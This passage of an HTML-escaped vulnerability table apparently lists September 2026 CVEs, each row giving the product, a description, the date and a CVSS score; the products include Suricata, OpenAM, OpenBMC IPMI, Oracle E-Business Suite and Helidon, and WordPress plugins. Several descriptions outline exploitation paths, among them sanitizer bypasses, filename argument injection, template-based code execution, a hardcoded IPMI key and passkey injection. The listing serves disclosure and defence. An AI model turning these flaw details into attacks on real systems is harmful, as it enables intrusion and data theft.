&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94038&quot; target=&quot;_blank&quot;&gt;CVE-2026-94038&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nuxt-content--mdc&lt;/td&gt;
&lt;td&gt;MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to 0.22.1, @nuxtjs/mdc uses parseMarkdown with allowDangerousHtml enabled by default and relies on validateProps, validateProp, and unsafeLinkPrefix to remove executable URLs from untrusted Markdown. validateProp checks only attributes named href or src, allowing an SVG xlink:href value represented as xLinkHref to retain a javascript: URL that executes in the page origin when selected. The data:text/html denylist entries are also compared against url.protocol, which is only data:, so an iframe src containing data:text/html survives sanitization and executes in an opaque origin when loaded. Plain href javascript: URLs, srcdoc, object, script, and base elements are already blocked, making these two paths specific sibling gaps in the sanitizer. This issue is fixed in version 0.22.1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63671&quot; target=&quot;_blank&quot;&gt;CVE-2026-63671&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NV--CSSOM&lt;/td&gt;
&lt;td&gt;CSSOM through 0.5.0 contains a denial of service vulnerability in CSSStyleDeclaration.setProperty() that fails to validate reserved property names. Attackers can supply a stylesheet with a declaration named length to replace the internal counter and trigger excessive memory allocation during cssText serialization, causing process termination.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93752&quot; target=&quot;_blank&quot;&gt;CVE-2026-93752&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--Suricata&lt;/td&gt;
&lt;td&gt;Suricata before 8.0.7 has a DoH2 type confusion that can cause an invalid free, because cleanup code for the HTTP2 state is executed even though the actual state is HTTP1 (when there is a DoH2 request with an HTTP1 to HTTP2 upgrade). This requires app-layer.protocols.doh2 to be enabled, which is the default in 8.x versions.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;9.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94083&quot; target=&quot;_blank&quot;&gt;CVE-2026-94083&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--Suricata&lt;/td&gt;
&lt;td&gt;Suricata before 8.0.7 has an Http2ThreadMultiBuf use-after-free when a transaction is inspected by rules that use http.response_header with and without a transform.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;9.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94084&quot; target=&quot;_blank&quot;&gt;CVE-2026-94084&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. From 7.0.13 until 7.0.17, the SMTP MIME quoted-printable decoder in src/util-decode-mime.c can read one byte past a heap buffer when a quoted-printable escape sequence is split across traffic chunks and the following chunk contains exactly one byte. Crafted SMTP traffic can trigger the out-of-bounds read and crash Suricata when decode-quoted-printable MIME decoding is enabled. This issue is fixed in version 7.0.17.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57228&quot; target=&quot;_blank&quot;&gt;CVE-2026-57228&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Starting in version 8.0.0 and prior to version 8.0.5, Suricata&#039;s IP defragmentation code could deadlock when processing fragmented traffic containing an encapsulated tunnel protocol whose payload is itself fragmented. Version 8.0.5 contains a fix. No known workarounds are available.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-46352&quot; target=&quot;_blank&quot;&gt;CVE-2026-46352&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to 7.0.17 and 8.0.6, the Windows service installation and parameter-update logic in src/win32-service.c can pass an unquoted service ImagePath to CreateServiceA. When Suricata is installed below a path containing spaces and an earlier path component is writable by a local low-privileged attacker, Windows can execute an attacker-controlled program as LocalSystem, resulting in local privilege escalation. This issue is fixed in versions 8.0.6 and 7.0.17.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57223&quot; target=&quot;_blank&quot;&gt;CVE-2026-57223&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. From 7.0.0 until 7.0.17 and 8.0.6, the MQTT parser in rust/src/mqtt/mqtt.rs permits repeated PUBREC or PUBREL messages to be appended to one transaction without a limit. Crafted MQTT traffic can grow transaction state indefinitely, consuming CPU and memory and causing slowdown or denial of service. This issue is fixed in versions 8.0.6 and 7.0.17.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57227&quot; target=&quot;_blank&quot;&gt;CVE-2026-57227&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. From 8.0.0 until 8.0.6, AppLayerParserSetTransactionInspectId() in src/app-layer-parser.c uses an inverted guard and marks only already-inspected transactions as inspected. On flows passed by a pass rule or pass-the-flow exception policy, detection is skipped, so completed transactions remain unmarked, are never freed, and are repeatedly rescanned. The per-flow list can grow without bound with quadratic cleanup cost, causing CPU and memory exhaustion. This issue is fixed in version 8.0.6.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63446&quot; target=&quot;_blank&quot;&gt;CVE-2026-63446&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. From 8.0.5 until 8.0.6, the FTP parser in src/app-layer-ftp.c can continue allocating transactions after app-layer.protocols.ftp.max-tx is reached while processing one large chunk of FTP command data. The oversized transaction list is repeatedly processed with quadratic complexity after the too_many_transactions event, allowing crafted FTP traffic to degrade packet processing, reduce monitoring visibility, or cause denial of service. This issue is fixed in version 8.0.6.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63447&quot; target=&quot;_blank&quot;&gt;CVE-2026-63447&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. From 8.0.0 until 8.0.6, the HTTP/1 parser limits decompression work per transaction but does not limit how many small brotli compression bombs a single flow can submit. With response-body-decompress-layer-limit enabled, repeated compressed responses make the decompression paths in rust/htp perform expensive work for every transaction, degrading packet processing and potentially causing loss of monitoring visibility or denial of service. This issue is fixed in version 8.0.6.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63452&quot; target=&quot;_blank&quot;&gt;CVE-2026-63452&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. From 8.0.0 until 8.0.6, DNS-over-HTTP/2 processing in rust/src/http2/http2.rs retains previously processed HTTP/2 DATA frame contents instead of clearing the internal buffer. Multiple DATA frames with the EndOfStream flag set can grow the buffer to its 65 KiB limit while causing all prior contents to be processed again, producing quadratic CPU complexity, degraded packet processing, loss of monitoring visibility, or denial of service. This issue is fixed in version 8.0.6.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71418&quot; target=&quot;_blank&quot;&gt;CVE-2026-71418&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;opajaap--WP Photo Album Plus&lt;/td&gt;
&lt;td&gt;The WP Photo Album Plus plugin for WordPress is vulnerable to Remote Code Execution in all versions via the wppa_image_magick function. This is due to insufficient sanitization of the multipart upload filename before concatenation into an ImageMagick command string executed via exec(), with only escapeshellcmd() applied to the whole command rather than quoting individual arguments. This makes it possible for authenticated attackers, with subscriber-level access and above, to execute code on the server. escapeshellcmd() escapes shell metacharacters but does not prevent argument injection because spaces remain as argument separators, and the filename sanitization applied at the database layer is never applied to the physical temporary file path used for ImageMagick processing.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87909&quot; target=&quot;_blank&quot;&gt;CVE-2026-87909&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-reception--appointment-booking-software&lt;/td&gt;
&lt;td&gt;OpenReception&#039;s appointment booking software provides an end-to-end encrypted appointment booking platform. Prior to 1.1.1, POST /api/auth/passkeys accepts a request-body userId and attacker-supplied passkey without an authenticated session, does not call WebAuthnService.verifyRegistration, and does not bind enrollment to locals.user.id. An unauthenticated attacker who knows the public tenant ID and the target staff email can use the public booking bootstrap and GET /api/tenants/[id]/appointments/staff-public-keys to obtain candidate userId values. The attacker first causes UserService.addAdditionalPasskey to store a controlled public key for a candidate userId, then attempts login with the target email; the login check compares verificationResult.userId with the email-resolved account and reveals whether the injected credential belongs to that target. Repeating this injection-before-login sequence identifies the matching userId, and the normal login endpoint accepts the attacker&#039;s assertion for the stored key and creates a STAFF session. The session can expose tenant data and reveal TENANT_ADMIN identifiers for further takeover; GLOBAL_ADMIN accounts are not reachable through this tenant-scoped path. A hijacked TENANT_ADMIN can modify or delete tenant resources and key shares, potentially making appointment data permanently undecryptable and taking booking services offline. This issue is fixed in version 1.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54460&quot; target=&quot;_blank&quot;&gt;CVE-2026-54460&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-telemetry--opentelemetry-operator&lt;/td&gt;
&lt;td&gt;The OpenTelemetry Operator is a Kubernetes Operator for the OpenTelemetry Collector. Prior to 0.152.0, cmd/otel-allocator TargetAllocator instances with targetAllocator.prometheusCR.enabled set to true preserve a selected ServiceMonitor endpoint&#039;s bearerTokenFile value as HTTPClientConfig.Authorization.CredentialsFile. A tenant who can create or update a ServiceMonitor matched by serviceMonitorSelector and serviceMonitorNamespaceSelector can point bearerTokenFile at a file in the Collector pod, including /var/run/secrets/kubernetes.io/serviceaccount/token, and direct scraping to a tenant-controlled endpoint. The Collector reads that file at scrape time and sends its contents as bearer authorization on every scrape interval. Exploitation also requires the Collector service-account token or another sensitive file to be mounted and the Collector to reach the chosen target. The DenyFSAccessThroughSMs control was absent, allowing disclosure of the Collector&#039;s service-account JWT or other mounted files, and resulting Kubernetes API impact is limited by the Collector service account&#039;s permissions. This issue is fixed in version 0.152.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47701&quot; target=&quot;_blank&quot;&gt;CVE-2026-47701&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Open5GS--Open5GS&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in Open5GS up to 2.7.x. Affected is the function amf_nnrf_try_old_amf_discovery_fallback of the file src/amf/nnrf-handler.c of the component Old AMF Discovery Fallback. The manipulation of the argument discovery_option results in use after free. The attack may be performed from remote. The patch is identified as ddd683a35f8aaac2b7b9884a24cd53bddfc65238. Applying a patch is advised to resolve this issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90707&quot; target=&quot;_blank&quot;&gt;CVE-2026-90707&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenBMC--phosphor-net-ipmid&lt;/td&gt;
&lt;td&gt;OpenBMC&#039;s IPMI implementation, phosphor-net-ipmid, is vulnerable to a logic flaw where the authorization context of an existing session can be replaced with a target account while still maintaining the original integrity and encryption keys. Several downstream vendors implement phosphor-net-ipmid as their IPMI stack, such as NVIDIA and H3C. This issue effectively allows for privilege escalation without re-authentication.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16140&quot; target=&quot;_blank&quot;&gt;CVE-2026-16140&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenBMC--phosphor-net-ipmid&lt;/td&gt;
&lt;td&gt;OpenBMC&#039;s IPMI implementation, phosphor-net-ipmid, contains a logic flaw in which an unauthenticated client can force the RAKP Message 1 handler to return before it overwrites the authentication object&#039;s constructor defaults. The IPMI service then accepts a RAKP Message 3 whose HMAC is computed with the constant 20-byte &#039;userKey&#039; initialized from the string &#039;0penBmc&#039; and an often-predictable &#039;bmcRandomNum&#039;. Several downstream vendors implement phosphor-net-ipmid as their IPMI stack, such as NVIDIA and H3C.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16141&quot; target=&quot;_blank&quot;&gt;CVE-2026-16141&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;opencast--opencast&lt;/td&gt;
&lt;td&gt;Opencast is a free, open-source platform to support the management of educational audio and video content. Prior to versions 19.7 and 20.2, the default security configuration in etc/security/mh_default_org.xml accepts a client-selected JSESSIONID from the ;jsessionid= URL path parameter and does not replace it when the victim logs in. An unauthenticated attacker can send a crafted link to a victim whose browser has no active Opencast session cookie, wait for the victim to authenticate, and then reuse the known identifier as the victim&#039;s authenticated session. This can expose the victim&#039;s data and actions and can produce full administrative account takeover when the victim is an administrator. This issue is fixed in versions 19.7 and 20.2.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77614&quot; target=&quot;_blank&quot;&gt;CVE-2026-77614&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;opencast--opencast&lt;/td&gt;
&lt;td&gt;Paella Player is a set of libraries to create a multi stream video player. Prior to Paella Player 2.12.11 (as used in Opencast prior to 19.7 and 20.2), there is a potential XSS attack though closed captions cue text. This vulnerability is fixed in 2.12.11.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77615&quot; target=&quot;_blank&quot;&gt;CVE-2026-77615&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenCTI-Platform--opencti&lt;/td&gt;
&lt;td&gt;OpenCTI is an open source platform for managing cyber threat intelligence knowledge and observables. Prior to 7.260701.0, the synchronizerFetch GraphQL query called fetchRemoteStreams after checking only that a remote stream URL used HTTP or HTTPS. The backend did not apply the ingestion deny list or reject private, loopback, and link-local destinations, allowing an authenticated account with the INGESTION capability to make OpenCTI request internal services and cloud metadata endpoints. Returned connection errors could distinguish open HTTP ports, open non-HTTP ports, and closed ports, enabling internal network scanning, while compatible endpoint responses could disclose internal data. This issue is fixed in version 7.260701.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76820&quot; target=&quot;_blank&quot;&gt;CVE-2026-76820&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openequella--openEQUELLA&lt;/td&gt;
&lt;td&gt;openEQUELLA versions before 2026.1.0 contain a remote code execution vulnerability in FreeMarker template compilation due to an unsandboxed TemplateClassResolver configuration. Authenticated attackers can inject malicious template expressions through collection summaries, dashboard portlets, or MIME templates to instantiate dangerous classes like freemarker.template.utility.Execute and invoke Runtime.exec for arbitrary command execution.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94109&quot; target=&quot;_blank&quot;&gt;CVE-2026-94109&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIdentityPlatform--OpenAM&lt;/td&gt;
&lt;td&gt;Open Access Management (OpenAM) is an access management solution. Prior to 16.1.2, the pre-authentication /authservice PLL endpoint accepts a CustomCallback XML element whose className value selects an arbitrary Java class for AuthXMLUtils to load and instantiate without verifying that it implements DSAMECallbackInterface. Default configurations expose the endpoint without authentication, allowing attacker-controlled class initialization and unsafe deserialization of a serialized Subject value to execute code in the server process. Enabling sunRemoteAuthSecurityEnabled does not prevent the vulnerable parsing and instantiation because its check occurs later. This issue is fixed in version 16.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62379&quot; target=&quot;_blank&quot;&gt;CVE-2026-62379&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIdentityPlatform--OpenAM&lt;/td&gt;
&lt;td&gt;Open Access Management (OpenAM) is an access management solution. Prior to 16.1.1, SessionRequestHandler in the session management endpoint does not enforce ownership or privilege checks when a low-privileged authenticated user queries session information in deployments using stateful session storage. A requester who knows a target identity identifier can retrieve another user&#039;s active session credentials, including credentials for a more privileged account, and use them to hijack that session. This issue is fixed in version 16.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45048&quot; target=&quot;_blank&quot;&gt;CVE-2026-45048&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenNHP--opennhp&lt;/td&gt;
&lt;td&gt;OpenNHP through 1.0.2 selects its trusted-execution attestation verifier based on attacker-supplied evidence containing a test_purpose key, causing the FallbackVerifier to execute unconditionally. Attackers can bypass attestation verification by including the test_purpose key in evidence and providing enrolled measure and serial number pairs from the allowlist to gain unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92792&quot; target=&quot;_blank&quot;&gt;CVE-2026-92792&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Openpanel-dev--openpanel&lt;/td&gt;
&lt;td&gt;OpenPanel js-runtime through commit bad75bdd contains a sandbox escape vulnerability in the JavaScript webhook template validator that fails to block computed member access to constructor chains. Attackers with project write access can create webhook templates using computed property notation to access Function constructor and execute arbitrary code in the worker process.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93985&quot; target=&quot;_blank&quot;&gt;CVE-2026-93985&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenSignLabs--OpenSign&lt;/td&gt;
&lt;td&gt;OpenSign through 2.41.3 fails to validate caller identity in the getDocument cloud function when one-time-password verification is disabled. Attackers can supply a document identifier from guest signing links to retrieve complete document details including all signers&#039; information, sender identity, and valid download tokens without authentication.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92794&quot; target=&quot;_blank&quot;&gt;CVE-2026-92794&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Applications DBA&lt;/td&gt;
&lt;td&gt;Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Applications DBA. Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83117&quot; target=&quot;_blank&quot;&gt;CVE-2026-83117&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Applications DBA&lt;/td&gt;
&lt;td&gt;Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA. Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83118&quot; target=&quot;_blank&quot;&gt;CVE-2026-83118&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Applications DBA&lt;/td&gt;
&lt;td&gt;Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: ADPatch). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83159&quot; target=&quot;_blank&quot;&gt;CVE-2026-83159&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Enterprise Command Center Framework&lt;/td&gt;
&lt;td&gt;Vulnerability in the Enterprise Command Center Framework product of Oracle E-Business Suite (component: Security). The supported version that is affected is V16. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Enterprise Command Center Framework. While the vulnerability is in Enterprise Command Center Framework, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Enterprise Command Center Framework accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83356&quot; target=&quot;_blank&quot;&gt;CVE-2026-83356&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Helidon&lt;/td&gt;
&lt;td&gt;Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-security-providers-idcs-mapper). Supported versions that are affected are 3.0.0-3.2.20 and 4.0.0-4.5.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Helidon. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Helidon accessible data as well as unauthorized access to critical data or complete access to all Helidon accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83439&quot; target=&quot;_blank&quot;&gt;CVE-2026-83439&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Helidon&lt;/td&gt;
&lt;td&gt;Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-dbclient-mongodb). Supported versions that are affected are 3.0.0-3.2.20 and 4.0.0-4.5.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Helidon. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Helidon accessible data as well as unauthorized update, insert or delete access to some of Helidon accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Helidon. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83231&quot; target=&quot;_blank&quot;&gt;CVE-2026-83231&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Helidon&lt;/td&gt;
